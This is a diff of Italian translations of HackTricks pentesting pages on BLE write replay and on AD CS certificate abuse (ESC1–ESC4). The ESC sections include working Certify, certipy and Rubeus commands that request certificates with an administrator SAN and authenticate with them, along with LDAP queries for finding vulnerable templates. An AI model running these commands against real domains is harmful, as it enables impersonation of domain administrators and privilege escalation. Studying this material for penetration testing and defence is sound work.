+- Esplora il database GATT, individua la caratteristica target (spesso ha un nome amichevole, es. Alert Level).
+- Esegui una Write con i byte sniffati (es., 01 per attivare, 00 per fermare).
 
-- Automatizza su Windows con un Nordic dongle usando Python + blatann:
+- Automatizza su Windows con un dongle Nordic usando Python + blatann:
 ```python
 import time
 import blatann
@@ -171,9 +171,9 @@ ble_device.close()
 ```
 ### Note operative e mitigazioni
 
-- Preferire Sonoff+Sniffle su Linux per un channel hopping robusto e per seguire le connessioni. Tenere uno sniffer Nordic di riserva.
-- Senza pairing/bonding, un attacker nelle vicinanze può osservare le writes e replay/craft le proprie verso caratteristiche scrivibili non autenticate.
-- Mitigazioni: richiedere pairing/bonding e imporre la cifratura; impostare i permessi delle caratteristiche per richiedere authenticated writes; minimizzare le caratteristiche scrivibili non autenticate; validare GATT ACLs con Sniffle/nRF Connect.
+- Preferire Sonoff+Sniffle su Linux per un channel hopping robusto e per il tracciamento delle connessioni. Tenere uno Nordic sniffer di riserva come backup.
+- Senza pairing/bonding, qualsiasi attaccante nelle vicinanze può osservare le write e riprodurre/forgiare proprie scritture su characteristic scrivibili non autenticate.
+- Mitigazioni: richiedere pairing/bonding e applicare la cifratura; impostare i permessi delle characteristic per richiedere authenticated writes; minimizzare le characteristic scrivibili non autenticate; validare i GATT ACLs con Sniffle/nRF Connect.
 
 ## Riferimenti
 

src/windows-hardening/active-directory-methodology/ad-certificates/README.md

@@ -4,79 +4,79 @@
 
 ## Introduzione
 
-### Componenti di un Certificato
+### Components of a Certificate
 
-- Il **Subject** del certificato indica il suo proprietario.
-- Una **Public Key** è accoppiata a una chiave privata per collegare il certificato al legittimo proprietario.
-- Il **Validity Period**, definito dalle date **NotBefore** e **NotAfter**, segna la durata effettiva del certificato.
-- Un **Serial Number** univoco, fornito dalla Certificate Authority (CA), identifica ogni certificato.
-- L'**Issuer** si riferisce alla CA che ha emesso il certificato.
-- **SubjectAlternativeName** permette nomi aggiuntivi per il subject, aumentando la flessibilità di identificazione.
-- **Basic Constraints** identificano se il certificato è per una CA o per un'entità finale e definiscono restrizioni d'uso.
-- Le **Extended Key Usages (EKUs)** delineano gli scopi specifici del certificato, come code signing o crittografia email, tramite Object Identifiers (OID).
-- La **Signature Algorithm** specifica il metodo per firmare il certificato.
-- La **Signature**, creata con la chiave privata dell'issuer, garantisce l'autenticità del certificato.
+- The **Subject** of the certificate denotes its owner.
+- A **Public Key** is paired with a privately held key to link the certificate to its rightful owner.
+- The **Validity Period**, defined by **NotBefore** and **NotAfter** dates, marks the certificate's effective duration.
+- A unique **Serial Number**, provided by the Certificate Authority (CA), identifies each certificate.
+- The **Issuer** refers to the CA that has issued the certificate.
+- **SubjectAlternativeName** allows for additional names for the subject, enhancing identification flexibility.
+- **Basic Constraints** identify if the certificate is for a CA or an end entity and define usage restrictions.
+- **Extended Key Usages (EKUs)** delineate the certificate's specific purposes, like code signing or email encryption, through Object Identifiers (OIDs).
+- The **Signature Algorithm** specifies the method for signing the certificate.
+- The **Signature**, created with the issuer's private key, guarantees the certificate's authenticity.
 
-### Considerazioni Speciali
+### Special Considerations
 
-- Le **Subject Alternative Names (SANs)** estendono l'applicabilità di un certificato a più identità, cruciale per server con domini multipli. Processi di emissione sicuri sono vitali per evitare rischi di impersonificazione da parte di un attacker che manipola la specifica SAN.
+- **Subject Alternative Names (SANs)** expand a certificate's applicability to multiple identities, crucial for servers with multiple domains. Secure issuance processes are vital to avoid impersonation risks by attackers manipulating the SAN specification.
 
 ### Certificate Authorities (CAs) in Active Directory (AD)
 
-AD CS riconosce i certificati CA in una foresta AD tramite contenitori designati, ognuno con ruoli unici:
+AD CS acknowledges CA certificates in an AD forest through designated containers, each serving unique roles:
 
-- Il contenitore **Certification Authorities** contiene i certificati root CA trusted.
-- Il contenitore **Enrolment Services** dettaglia le Enterprise CAs e i loro certificate templates.
-- L'oggetto **NTAuthCertificates** include i certificati CA autorizzati per l'autenticazione AD.
-- Il contenitore **AIA (Authority Information Access)** facilita la validazione della chain di certificati con certificati intermediate e cross CA.
+- **Certification Authorities** container holds trusted root CA certificates.
+- **Enrolment Services** container details Enterprise CAs and their certificate templates.
+- **NTAuthCertificates** object includes CA certificates authorized for AD authentication.
+- **AIA (Authority Information Access)** container facilitates certificate chain validation with intermediate and cross CA certificates.
 
-### Acquisizione del Certificato: Flusso di Richiesta Cliente
+### Certificate Acquisition: Client Certificate Request Flow
 
-1. Il processo di richiesta inizia con i client che trovano una Enterprise CA.
-2. Viene creato un CSR, contenente una public key e altri dettagli, dopo la generazione di una coppia di chiavi public-private.
-3. La CA valuta il CSR rispetto ai certificate templates disponibili, emettendo il certificato in base alle autorizzazioni del template.
-4. Dopo l'approvazione, la CA firma il certificato con la propria chiave privata e lo restituisce al client.
+1. The request process begins with clients finding an Enterprise CA.
+2. A CSR is created, containing a public key and other details, after generating a public-private key pair.
+3. The CA assesses the CSR against available certificate templates, issuing the certificate based on the template's permissions.
+4. Upon approval, the CA signs the certificate with its private key and returns it to the client.
 
 ### Certificate Templates
 
-Definiti all'interno di AD, questi template stabiliscono le impostazioni e i permessi per l'emissione dei certificati, inclusi gli EKU consentiti e i diritti di enrollment o modifica, critici per gestire l'accesso ai servizi di certificazione.
+Defined within AD, these templates outline the settings and permissions for issuing certificates, including permitted EKUs and enrollment or modification rights, critical for managing access to certificate services.
 
 ## Certificate Enrollment
 
-Il processo di enrollment per i certificati è avviato da un amministratore che **crea un certificate template**, che viene poi **pubblicato** da una Enterprise Certificate Authority (CA). Questo rende il template disponibile per l'enrollment dei client, passo ottenuto aggiungendo il nome del template al campo `certificatetemplates` di un oggetto Active Directory.
+The enrollment process for certificates is initiated by an administrator who **creates a certificate template**, which is then **published** by an Enterprise Certificate Authority (CA). This makes the template available for client enrollment, a step achieved by adding the template's name to the `certificatetemplates` field of an Active Directory object.
 
-Perché un client richieda un certificato, devono essere concessi i **diritti di enrollment**. Questi diritti sono definiti dai security descriptor sul certificate template e sulla Enterprise CA stessa. I permessi devono essere concessi in entrambe le posizioni affinché la richiesta abbia successo.
+For a client to request a certificate, **enrollment rights** must be granted. These rights are defined by security descriptors on the certificate template and the Enterprise CA itself. Permissions must be granted in both locations for a request to be successful.
 
 ### Template Enrollment Rights
 
-Questi diritti sono specificati tramite Access Control Entries (ACEs), descrivendo permessi come:
+These rights are specified through Access Control Entries (ACEs), detailing permissions like:
 
-- I diritti **Certificate-Enrollment** e **Certificate-AutoEnrollment**, ciascuno associato a GUID specifici.
-- **ExtendedRights**, che permettono tutti i permessi estesi.
-- **FullControl/GenericAll**, che forniscono il controllo completo sul template.
+- **Certificate-Enrollment** and **Certificate-AutoEnrollment** rights, each associated with specific GUIDs.
+- **ExtendedRights**, allowing all extended permissions.
+- **FullControl/GenericAll**, providing complete control over the template.
 
 ### Enterprise CA Enrollment Rights
 
-I diritti della CA sono delineati nel suo security descriptor, accessibile tramite la console di gestione della Certificate Authority. Alcune impostazioni consentono persino a utenti a basso privilegio l'accesso remoto, il che potrebbe rappresentare una problematica di sicurezza.
+The CA's rights are outlined in its security descriptor, accessible via the Certificate Authority management console. Some settings even allow low-privileged users remote access, which could be a security concern.
 
-### Controlli Aggiuntivi di Emissione
+### Additional Issuance Controls
 
-Possono applicarsi alcuni controlli, come:
+Certain controls may apply, such as:
 
-- **Manager Approval**: mette le richieste in uno stato pending fino all'approvazione da parte di un certificate manager.
-- **Enrolment Agents and Authorized Signatures**: specificano il numero di firme richieste su un CSR e gli Application Policy OID necessari.
+- **Manager Approval**: Places requests in a pending state until approved by a certificate manager.
+- **Enrolment Agents and Authorized Signatures**: Specify the number of required signatures on a CSR and the necessary Application Policy OIDs.
 
-### Metodi per Richiedere Certificati
+### Methods to Request Certificates
 
-I certificati possono essere richiesti tramite:
+Certificates can be requested through:
 
-1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), usando interfacce DCOM.
-2. **ICertPassage Remote Protocol** (MS-ICPR), tramite named pipes o TCP/IP.
-3. L'**interfaccia web di certificate enrollment**, con il role Certificate Authority Web Enrollment installato.
-4. Il **Certificate Enrollment Service** (CES), in combinazione con il servizio Certificate Enrollment Policy (CEP).
-5. Il **Network Device Enrollment Service** (NDES) per dispositivi di rete, usando il Simple Certificate Enrollment Protocol (SCEP).
+1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), using DCOM interfaces.
+2. **ICertPassage Remote Protocol** (MS-ICPR), through named pipes or TCP/IP.
+3. The **certificate enrollment web interface**, with the Certificate Authority Web Enrollment role installed.
+4. The **Certificate Enrollment Service** (CES), in conjunction with the Certificate Enrollment Policy (CEP) service.
+5. The **Network Device Enrollment Service** (NDES) for network devices, using the Simple Certificate Enrollment Protocol (SCEP).
 
-Gli utenti Windows possono inoltre richiedere certificati via GUI (`certmgr.msc` o `certlm.msc`) o strumenti da linea di comando (`certreq.exe` o il comando PowerShell `Get-Certificate`).
+Windows users can also request certificates via the GUI (`certmgr.msc` or `certlm.msc`) or command-line tools (`certreq.exe` or PowerShell's `Get-Certificate` command).
 ```bash
 # Example of requesting a certificate using PowerShell
 Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
@@ -87,21 +87,21 @@ Active Directory (AD) supporta l'autenticazione tramite certificato, utilizzando
 
 ### Processo di autenticazione Kerberos
 
-Nel processo di autenticazione Kerberos, la richiesta di un Ticket Granting Ticket (TGT) da parte di un utente viene firmata usando la **chiave privata** del certificato dell'utente. Questa richiesta viene sottoposta a diverse verifiche da parte del domain controller, incluse la **validità**, il **percorso** e lo **stato di revoca** del certificato. Le verifiche includono anche la conferma che il certificato provenga da una fonte attendibile e la presenza dell'emittente nel **NTAUTH certificate store**. Le verifiche superate portano al rilascio di un TGT. L'oggetto **`NTAuthCertificates`** in AD si trova in:
+Nel processo di autenticazione Kerberos, la richiesta di un utente per un Ticket Granting Ticket (TGT) viene firmata usando la **private key** del certificato dell'utente. Questa richiesta viene sottoposta a diverse validazioni da parte del domain controller, incluse la **validity**, il **path** e lo **revocation status** del certificato. Le validazioni includono anche la verifica che il certificato provenga da una fonte attendibile e la conferma della presenza dell'emittente nello **NTAUTH certificate store**. Validazioni riuscite portano al rilascio di un TGT. L'oggetto **`NTAuthCertificates`** in AD, trovato a:
 ```bash
 CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
 ```
-è centrale per stabilire la fiducia per l'autenticazione tramite certificato.
+è centrale per stabilire la fiducia nell'autenticazione mediante certificati.
 
 ### Autenticazione Secure Channel (Schannel)
 
-Schannel facilita connessioni TLS/SSL sicure, dove durante un handshake il client presenta un certificato che, se convalidato con successo, autorizza l'accesso. La mappatura di un certificato a un account AD può coinvolgere la funzione di Kerberos **S4U2Self** o il **Subject Alternative Name (SAN)** del certificato, tra gli altri metodi.
+Schannel facilita connessioni TLS/SSL sicure, nelle quali, durante l'handshake, il client presenta un certificato che, se convalidato con successo, autorizza l'accesso. L'associazione di un certificato a un account AD può coinvolgere la funzione **S4U2Self** di Kerberos o il **Subject Alternative Name (SAN)** del certificato, tra gli altri metodi.
 
-### Enumerazione dei servizi di certificato AD
+### Enumerazione dei servizi di certificazione AD
 
-I servizi di certificato di AD possono essere enumerati tramite query LDAP, rivelando informazioni sulle **Enterprise Certificate Authorities (CAs)** e le loro configurazioni. Questo è accessibile a qualsiasi utente autenticato nel dominio senza privilegi speciali. Strumenti come **[Certify](https://github.com/GhostPack/Certify)** e **[Certipy](https://github.com/ly4k/Certipy)** sono usati per l'enumerazione e la valutazione delle vulnerabilità negli ambienti AD CS.
+I servizi di certificazione di AD possono essere enumerati tramite query LDAP, rivelando informazioni sulle **Enterprise Certificate Authorities (CAs)** e le loro configurazioni. Questo è accessibile a qualsiasi utente autenticato nel dominio senza privilegi speciali. Strumenti come **[Certify](https://github.com/GhostPack/Certify)** e **[Certipy](https://github.com/ly4k/Certipy)** sono usati per l'enumerazione e la valutazione delle vulnerabilità negli ambienti AD CS.
 
-I comandi per usare questi strumenti includono:
+I comandi per utilizzare questi strumenti includono:
 ```bash
 # Enumerate trusted root CA certificates, Enterprise CAs and HTTP enrollment endpoints
 # Useful flags: /domain, /path, /hideAdmins, /showAllPermissions, /skipWebServiceChecks

src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md

@@ -1,44 +1,44 @@
-# AD CS Domain Escalation
+# Escalation del dominio AD CS
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 
-**This is a summary of escalation technique sections of the posts:**
+**Questa è una sintesi delle sezioni sulle tecniche di escalation dei post:**
 
 - [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
 - [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
 - [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy)
 
-## Misconfigured Certificate Templates - ESC1
+## Modelli di certificato mal configurati - ESC1
 
-### Explanation
+### Spiegazione
 
-### Misconfigured Certificate Templates - ESC1 Explained
+### Modelli di certificato mal configurati - ESC1 spiegati
 
-- **I diritti di enrolment vengono concessi a utenti con pochi privilegi dall'Enterprise CA.**
-- **L'approvazione del manager non è richiesta.**
-- **Non sono necessarie firme da personale autorizzato.**
-- **I descrittori di sicurezza sui template di certificato sono eccessivamente permissivi, permettendo a utenti con pochi privilegi di ottenere diritti di enrolment.**
+- **I diritti di enrolment sono concessi a utenti con basso privilegio dall'Enterprise CA.**
+- **Non è richiesta l'approvazione del manager.**
+- **Non sono necessarie firme da parte di personale autorizzato.**
+- **I security descriptor sui template di certificato sono eccessivamente permissivi, permettendo a utenti con basso privilegio di ottenere diritti di enrolment.**
 - **I template di certificato sono configurati per definire EKU che facilitano l'autenticazione:**
-- Extended Key Usage (EKU) identifiers come Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), o nessun EKU (SubCA) sono inclusi.
+- Extended Key Usage (EKU) identificatori come Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), o nessun EKU (SubCA) sono inclusi.
 - **La possibilità per i richiedenti di includere un subjectAltName nella Certificate Signing Request (CSR) è consentita dal template:**
-- Active Directory (AD) dà priorità al subjectAltName (SAN) in un certificato per la verifica dell'identità se presente. Questo significa che specificando il SAN in una CSR, è possibile richiedere un certificato per impersonare qualsiasi utente (es. un domain administrator). Se un richiedente può specificare un SAN è indicato nell'oggetto AD del template di certificato tramite la proprietà `mspki-certificate-name-flag`. Questa proprietà è una bitmask, e la presenza del flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` permette al richiedente di specificare il SAN.
+- Active Directory (AD) dà priorità al subjectAltName (SAN) in un certificato per la verifica dell'identità se presente. Ciò significa che specificando il SAN in una CSR, è possibile richiedere un certificato per impersonare qualsiasi utente (es. un domain administrator). Se un SAN può essere specificato dal richiedente è indicato nell'oggetto AD del template di certificato attraverso la proprietà `mspki-certificate-name-flag`. Questa proprietà è una bitmask, e la presenza del flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` consente la specifica del SAN da parte del richiedente.
 
 > [!CAUTION]
-> La configurazione descritta permette a utenti con pochi privilegi di richiedere certificati con qualsiasi SAN a scelta, abilitando l'autenticazione come qualsiasi principal del dominio tramite Kerberos o SChannel.
+> La configurazione descritta permette a utenti con basso privilegio di richiedere certificati con qualsiasi SAN desiderato, abilitando l'autenticazione come qualsiasi principal di dominio tramite Kerberos o SChannel.
 
-Questa funzionalità è a volte abilitata per supportare la generazione on-the-fly di certificati HTTPS o host da parte di prodotti o servizi di deployment, oppure per mancanza di comprensione.
+Questa funzionalità a volte è abilitata per supportare la generazione al volo di certificati HTTPS o host da parte di prodotti o servizi di deployment, o per mancanza di comprensione.
 
-Si osserva che creare un certificato con questa opzione genera un avviso, cosa che non avviene quando un template di certificato esistente (ad esempio il template `WebServer`, che ha `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` abilitato) viene duplicato e poi modificato per includere un OID di autenticazione.
+Si nota che creare un certificato con questa opzione genera un avviso, cosa che non accade quando un template di certificato esistente (come il template `WebServer`, che ha `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` abilitato) viene duplicato e poi modificato per includere un OID di autenticazione.
 
-### Abuse
+### Abuso
 
-To **find vulnerable certificate templates** you can run:
+Per **trovare template di certificato vulnerabili** puoi eseguire:
 ```bash
 Certify.exe find /vulnerable
 certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
 ```
-Per **sfruttare questa vulnerabilità per impersonare un amministratore** si potrebbe eseguire:
+Per **abusare di questa vulnerabilità per impersonare un amministratore** si potrebbe eseguire:
 ```bash
 # Impersonate by setting SAN to a target principal (UPN or sAMAccountName)
 Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local
@@ -54,66 +54,66 @@ Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:ad
 certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \
 -template 'ESC1' -upn 'administrator@corp.local'
 ```
-Poi puoi trasformare il **certificato generato in `.pfx`** e usarlo per **autenticarti nuovamente usando Rubeus o certipy**:
+Poi puoi trasformare il certificato generato **in `.pfx`** e usarlo per **autenticarti con Rubeus o certipy** nuovamente:
 ```bash
 Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
 certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
 ```
-I binari di Windows "Certreq.exe" e "Certutil.exe" possono essere usati per generare il PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
+I binari di Windows "Certreq.exe" & "Certutil.exe" possono essere usati per generare il PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
 
-L'enumerazione dei template di certificato nello schema di configurazione della forest AD, specificamente quelli che non richiedono approvazione o firme, che possiedono un Client Authentication o Smart Card Logon EKU, e con la flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` abilitata, può essere eseguita eseguendo la seguente query LDAP:
+L'enumerazione dei template di certificato nello schema di configurazione della AD Forest, nello specifico quelli che non richiedono approvazione o firme, che possiedono un Client Authentication o Smart Card Logon EKU, e con il flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` abilitato, può essere effettuata eseguendo la seguente query LDAP:
 ```
 (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
 ```
-## Misconfigured Certificate Templates - ESC2
+## Template di certificato mal configurati - ESC2
 
 ### Spiegazione
 
 Il secondo scenario di abuso è una variazione del primo:
 
-1. I diritti di enrollment sono concessi agli utenti poco privilegiati dall'Enterprise CA.
-2. Il requisito di approvazione da parte del responsabile è disabilitato.
-3. La necessità di firme autorizzate è stata omessa.
-4. Un security descriptor eccessivamente permissivo sul template del certificato concede diritti di enrollment a utenti poco privilegiati.
-5. **Il template del certificato è definito per includere l'Any Purpose EKU o nessun EKU.**
+1. I diritti di enrollment sono concessi a utenti con privilegi bassi dall'Enterprise CA.
+2. Il requisito dell'approvazione del manager è disabilitato.
+3. La necessità di firme autorizzate è omessa.
+4. Un descrittore di sicurezza eccessivamente permissivo sul template di certificato concede diritti di registrazione dei certificati a utenti con privilegi bassi.
+5. **Il template di certificato è definito per includere la Any Purpose EKU o nessuna EKU.**
 
-L'**Any Purpose EKU** permette a un attaccante di ottenere un certificato per **qualsiasi scopo**, inclusi autenticazione client, autenticazione server, firma del codice, ecc. La stessa **technique used for ESC3** può essere impiegata per sfruttare questo scenario.
+La **Any Purpose EKU** permette a un attaccante di ottenere un certificato per **qualsiasi scopo**, inclusi client authentication, server authentication, code signing, ecc. La stessa **tecnica usata per ESC3** può essere impiegata per sfruttare questo scenario.
 
-I certificati con **nessun EKU**, che fungono da certificati di CA subordinata, possono essere sfruttati per **qualsiasi scopo** e possono **anche essere usati per firmare nuovi certificati**. Di conseguenza, un attaccante potrebbe specificare EKU arbitrari o campi nei nuovi certificati utilizzando un certificato di CA subordinata.
+I certificati senza **EKU**, che agiscono come certificati subordinate CA, possono essere sfruttati per **qualsiasi scopo** e possono **anche essere usati per firmare nuovi certificati**. Di conseguenza, un attaccante potrebbe specificare EKU arbitrarie o campi nei nuovi certificati utilizzando un certificato di subordinate CA.
 
-Tuttavia, i nuovi certificati creati per **autenticazione di dominio** non funzioneranno se la CA subordinata non è fidata dall'oggetto **`NTAuthCertificates`**, che è l'impostazione predefinita. Nonostante ciò, un attaccante può comunque creare **nuovi certificati con qualsiasi EKU** e valori arbitrari del certificato. Questi potrebbero essere potenzialmente sfruttati per un'ampia gamma di scopi (es., firma del codice, autenticazione server, ecc.) e potrebbero avere implicazioni significative per altre applicazioni nella rete come SAML, AD FS o IPSec.
+Tuttavia, i nuovi certificati creati per **domain authentication** non funzioneranno se la subordinate CA non è trusted dall'oggetto `NTAuthCertificates`, che è l'impostazione di default. Nonostante ciò, un attaccante può comunque creare **nuovi certificati con qualsiasi EKU** e valori di certificato arbitrari. Questi potrebbero essere potenzialmente **abusati** per una vasta gamma di scopi (es. code signing, server authentication, ecc.) e potrebbero avere implicazioni significative per altre applicazioni nella rete come SAML, AD FS, o IPSec.
 
-Per enumerare i template che corrispondono a questo scenario all'interno dello schema di configurazione della foresta AD, può essere eseguita la seguente query LDAP:
+Per enumerare i template che corrispondono a questo scenario all'interno dello schema di configurazione della foresta AD, è possibile eseguire la seguente query LDAP:
 ```
 (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
 ```
-## Modelli Enrollment Agent mal configurati - ESC3
+## Misconfigured Enrolment Agent Templates - ESC3
 
-### Spiegazione
+### Explanation
 
-Questo scenario è simile al primo e al secondo ma **abusando** di un **EKU diverso** (Certificate Request Agent) e di **2 template diversi** (quindi ha 2 serie di requisiti),
+Questo scenario è simile al primo e al secondo ma **sfrutta** un **EKU diverso** (Certificate Request Agent) e **2 template diversi** (pertanto ha 2 serie di requisiti),
 
-L'**EKU Certificate Request Agent** (OID 1.3.6.1.4.1.311.20.2.1), noto come **Enrollment Agent** nella documentazione Microsoft, permette a un principal di **richiedere** un **certificato** **per conto di un altro utente**.
+Il **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), noto come **Enrollment Agent** nella documentazione Microsoft, permette a un principal di **enrollare** per un **certificate** **per conto di un altro utente**.
 
-L'**"enrollment agent"** si iscrive a un tale **template** e usa il **certificato risultante per co-firmare un CSR per conto dell'altro utente**. Successivamente **invia** il **CSR co-firmato** alla CA, iscrivendosi a un **template** che **permette "enroll on behalf of"**, e la CA risponde con un **certificato appartenente all'“altro” utente**.
+L'**“enrollment agent”** si registra su un tale **template** e utilizza il certificato risultante per **co-firmare una CSR per conto dell'altro utente**. Dopodiché **invia** la **CSR co-firmata** alla CA, iscrivendosi a un **template** che **permette “enroll on behalf of”**, e la CA risponde con un **certificato appartenente all'“altro” utente**.
 
-**Requisiti 1:**
+**Requirements 1:**
 
-- I diritti di enrollment sono concessi a utenti a basso privilegio dalla Enterprise CA.
-- Il requisito dell'approvazione del manager è omesso.
+- I diritti di enrollment sono concessi agli utenti a basso privilegio dalla Enterprise CA.
+- Il requisito di approvazione del manager è omesso.
 - Nessun requisito per firme autorizzate.
-- Il security descriptor del template di certificato è eccessivamente permissivo, concedendo diritti di enrollment a utenti a basso privilegio.
-- Il template di certificato include l'EKU Certificate Request Agent, abilitando la richiesta di altri template di certificato per conto di altri principal.
+- Il security descriptor del template del certificato è eccessivamente permissivo, concedendo diritti di enrollment agli utenti a basso privilegio.
+- Il template del certificato include il Certificate Request Agent EKU, permettendo la richiesta di altri template di certificati per conto di altri principal.
 
-**Requisiti 2:**
+**Requirements 2:**
 
-- La Enterprise CA concede diritti di enrollment a utenti a basso privilegio.
+- La Enterprise CA concede diritti di enrollment agli utenti a basso privilegio.
 - L'approvazione del manager viene bypassata.
-- La versione dello schema del template è o 1 o superiore a 2, e specifica un Application Policy Issuance Requirement che richiede l'EKU Certificate Request Agent.
-- Un EKU definito nel template di certificato permette l'autenticazione di dominio.
+- La versione dello schema del template è o 1 o superiore a 2, e specifica un Application Policy Issuance Requirement che richiede il Certificate Request Agent EKU.
+- Un EKU definito nel template del certificato consente l'autenticazione di dominio.
 - Le restrizioni per gli enrollment agent non sono applicate sulla CA.
 
-### Abuso
+### Abuse
 
 Puoi usare [**Certify**](https://github.com/GhostPack/Certify) o [**Certipy**](https://github.com/ly4k/Certipy) per sfruttare questo scenario:
 ```bash
@@ -129,27 +129,27 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
 # Use Rubeus with the certificate to authenticate as the other user
 Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
 ```
-Gli **utenti** che sono autorizzati a **ottenere** un **enrollment agent certificate**, i template in cui gli enrollment **agents** sono autorizzati a iscriversi e gli **account** per conto dei quali l'enrollment agent può agire possono essere limitati dalle CA aziendali. Ciò si ottiene aprendo lo snap-in `certsrc.msc`, **cliccando col tasto destro sulla CA**, **cliccando Properties**, e poi **navigando** alla scheda “Enrollment Agents”.
+Gli **utenti** autorizzati a **ottenere** un **enrollment agent certificate**, i template in cui gli enrollment **agents** sono autorizzati ad effettuare l'enrollment e gli **account** per conto dei quali l'enrollment agent può agire possono essere vincolati dalle CA aziendali. Questo si ottiene aprendo lo snap-in `certsrc.msc`, facendo **clic con il tasto destro sulla CA**, selezionando **Properties**, e poi **navigando** alla scheda “Enrollment Agents”.
 
-Tuttavia, è da notare che l'impostazione **di default** per le CA è “**Do not restrict enrollment agents**.” Quando la restrizione sugli enrollment agent viene abilitata dagli amministratori, impostandola su “Restrict enrollment agents”, la configurazione predefinita rimane estremamente permissiva. Consente a **Everyone** l'accesso per iscriversi a tutti i template come chiunque.
+Tuttavia, va notato che l'impostazione **di default** per le CA è “**Do not restrict enrollment agents**.” Quando gli amministratori abilitano la restrizione sugli enrollment agents impostandola su “Restrict enrollment agents”, la configurazione predefinita rimane estremamente permissiva. Consente a **Everyone** di iscriversi (enroll) a tutti i template come qualsiasi utente.
 
-## Controllo degli accessi vulnerabile ai template di certificato - ESC4
+## Accesso ai template di certificato vulnerabile - ESC4
 
 ### **Spiegazione**
 
-Il **security descriptor** sui **certificate templates** definisce i **permissions** che specifici **AD principals** possiedono riguardo al template.
+Il **security descriptor** sui **certificate templates** definisce le **permissions** che i specifici **AD principals** hanno relativamente al template.
 
-Se un **attacker** possiede i **permissions** necessari per **alterare** un **template** e **introdurre** qualsiasi **exploitable misconfiguration** descritte nelle **sezioni precedenti**, potrebbe essere facilitata un'elevazione di privilegi.
+Se un **attaccante** possiede le **permissions** richieste per **alterare** un **template** e **istituire** qualsiasi **exploitable misconfigurations** descritte nelle sezioni precedenti, ciò potrebbe facilitare un'escalation di privilegi.
 
-Permessi rilevanti applicabili ai certificate templates includono:
+Permessi rilevanti applicabili ai template di certificato includono:
 
-- **Owner:** Concede un controllo implicito sull'oggetto, permettendo la modifica di qualsiasi attributo.
-- **FullControl:** Consente autorità completa sull'oggetto, inclusa la possibilità di modificare qualsiasi attributo.
-- **WriteOwner:** Permette di cambiare il proprietario dell'oggetto assegnandolo a un principal sotto il controllo dell'**attacker**.
-- **WriteDacl:** Permette di modificare i controlli di accesso, potenzialmente concedendo all'**attacker** FullControl.
+- **Owner:** Concede il controllo implicito sull'oggetto, permettendo la modifica di qualsiasi attributo.
+- **FullControl:** Fornisce autorità completa sull'oggetto, inclusa la capacità di alterare qualsiasi attributo.
+- **WriteOwner:** Permette di cambiare il proprietario dell'oggetto a un principal sotto il controllo dell'attaccante.
+- **WriteDacl:** Consente di modificare i controlli di accesso, potenzialmente concedendo all'attaccante FullControl.
 - **WriteProperty:** Autorizza la modifica di qualsiasi proprietà dell'oggetto.
 
-### **Abuso**
+### Abuse
 
 Per identificare i principals con diritti di modifica sui template e altri oggetti PKI, enumerare con Certify:
 ```bash
@@ -160,13 +160,13 @@ Un esempio di privesc simile al precedente:
 
 <figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
 
-ESC4 è quando un utente ha privilegi di scrittura su un modello di certificato. Questo può, per esempio, essere abusato per sovrascrivere la configurazione del modello di certificato e rendere il template vulnerabile a ESC1.
+ESC4 si verifica quando un utente ha privilegi di scrittura su un modello di certificato. Questo può, ad esempio, essere abusato per sovrascrivere la configurazione del modello di certificato e rendere il modello vulnerabile a ESC1.
 
